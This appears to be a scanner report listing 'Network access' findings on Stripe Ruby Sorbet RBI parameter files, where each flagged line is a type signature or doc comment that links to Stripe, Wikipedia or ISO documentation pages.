sig { params(_percentage: Float).returns(Float) } def percentage=(_percentage); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, Un - Network accessline 178
def percentage=(_percentage); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 179
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. - Network accessline 263
sig { params(_invoice_item: T.nilable(String)).returns(T.nilable(String)) } def invoice_item=(_invoice_item); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be use - Network accessline 264
def invoice_item=(_invoice_item); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 265
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 270
} def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-r - Network accessline 271
def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recogniti - Network accessline 272
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 277
} def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 278
def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(InvoiceAddLinesParams::Line::PriceData)) } - Network accessline 279
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 296
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-pa - Network accessline 297
def quantity=(_quantity); end # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rate - Network accessline 298
# A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi - Network accessline 333
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 334
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 335
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_create_params.rbi
- Network accessline 20
def initialize(account: nil, type: nil); end end # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/ta - Network accessline 21
end # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspec - Network accessline 22
# Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca - Network accessline 186
# Installment configuration for payments attempted on this invoice. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 187
# # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). sig { - Network accessline 188
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 195
} def installments=(_installments); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c - Network accessline 196
def installments=(_installments); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-cu - Network accessline 197
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 443
} def payment_method_options=(_payment_method_options); end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by loo - Network accessline 444
def payment_method_options=(_payment_method_options); end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at - Network accessline 445
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 576
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://strip - Network accessline 577
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 578
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 581
sig { params(_currency: String).returns(String) } def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217 - Network accessline 582
def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://str - Network accessline 583
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 616
} def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure - Network accessline 617
def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 618
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 628
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 629
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. sig { returns(T.nilable(String)) } - Network accessline 630
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 675
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 676
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 677
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 695
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 696
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 697
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 755
} def account_tax_ids=(_account_tax_ids); end # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the St - Network accessline 756
def account_tax_ids=(_account_tax_ids); end # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-A - Network accessline 757
# A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-Account header in order to take an application fe - Network accessline 760
sig { params(_application_fee_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def application_fee_amount=(_application_fee_amount); end # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invo - Network accessline 761
def application_fee_amount=(_application_fee_amount); end # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice' - Network accessline 762
# Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti - Network accessline 858
sig { params(_footer: T.nilable(String)).returns(T.nilable(String)) } def footer=(_footer); end # Revise an existing invoice. The new invoice will be created in `status=draft`. See the [revision documentation](https://docs.stripe.co - Network accessline 859
def footer=(_footer); end # Revise an existing invoice. The new invoice will be created in `status=draft`. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details. sig { returns(T.nilab - Network accessline 860
# Revise an existing invoice. The new invoice will be created in `status=draft`. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details. - Network accessline 872
} def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 873
def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 874
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 884
sig { params(_number: T.nilable(String)).returns(T.nilable(String)) } def number=(_number); end # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding - Network accessline 885
def number=(_number); end # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with C - Network accessline 886
# The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_create_preview_params.rbi
- Network accessline 20
def initialize(account: nil, type: nil); end end # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/ta - Network accessline 21
end # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspec - Network accessline 22
# Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca - Network accessline 44
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 45
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 46
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 64
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 65
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 66
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 88
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter countr - Network accessline 89
def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) - Network accessline 90
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 108
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 109
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 110
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 272
end class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 273
class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns( - Network accessline 274
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 277
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 278
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 279
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 282
sig { params(_product: String).returns(String) } def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior- - Network accessline 283
def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting - Network accessline 284
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 313
sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency] - Network accessline 314
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Only applicable to new invoice items. - Network accessline 315
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Only applicable to new invoice items. - Network accessline 342
sig { params(_invoiceitem: T.nilable(String)).returns(T.nilable(String)) } def invoiceitem=(_invoiceitem); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful - Network accessline 343
def invoiceitem=(_invoiceitem); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 344
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 349
} def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-r - Network accessline 350
def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recogniti - Network accessline 351
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 361
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 362
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(InvoiceCreatePreviewParams::InvoiceItem::PriceD - Network accessline 363
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 373
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting- - Network accessline 374
def quantity=(_quantity); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting - Network accessline 375
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 378
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 379
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 380
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 542
end class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 543
class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { - Network accessline 544
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 547
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 548
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 549
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 552
sig { params(_product: String).returns(String) } def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-b - Network accessline 553
def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set - Network accessline 554
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 587
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 588
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 589
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 608
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is requ - Network accessline 609
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { - Network accessline 610
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 772
class Item < ::Stripe::RequestParams class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units - Network accessline 773
class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs - Network accessline 774
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 816
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c - Network accessline 817
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 818
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 821
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 822
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 823
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 835
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in - Network accessline 836
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax - Network accessline 837
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 880
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription ite - Network accessline 881
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadat - Network accessline 882
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k - Network accessline 897
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 898
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { - Network accessline 899
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 911
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_r - Network accessline 912
def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_ - Network accessline 913
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 955
} def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the - Network accessline 956
def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the applicatio - Network accessline 957
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 967
} def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies - Network accessline 968
def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. F - Network accessline 969
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 986
sig { params(_collection_method: T.nilable(String)).returns(T.nilable(String)) } def collection_method=(_collection_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowerc - Network accessline 987
def collection_method=(_collection_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { re - Network accessline 988
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 996
sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) } def default_payment_method=(_default_payment_method); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rat - Network accessline 997
def default_payment_method=(_default_payment_method); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions - Network accessline 998
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w - Network accessline 1047
} def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is - Network accessline 1048
def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, - Network accessline 1049
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex - Network accessline 1059
sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) } def on_behalf_of=(_on_behalf_of); end # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscr - Network accessline 1060
def on_behalf_of=(_on_behalf_of); end # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in bil - Network accessline 1061
# Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re - Network accessline 1184
class Item < ::Stripe::RequestParams class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to m - Network accessline 1185
class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.s - Network accessline 1186
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 1228
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre - Network accessline 1229
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 1230
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1233
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 1234
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 1235
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 1247
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the - Network accessline 1248
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s - Network accessline 1249
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 1307
sig { params(_id: T.nilable(String)).returns(T.nilable(String)) } def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional - Network accessline 1308
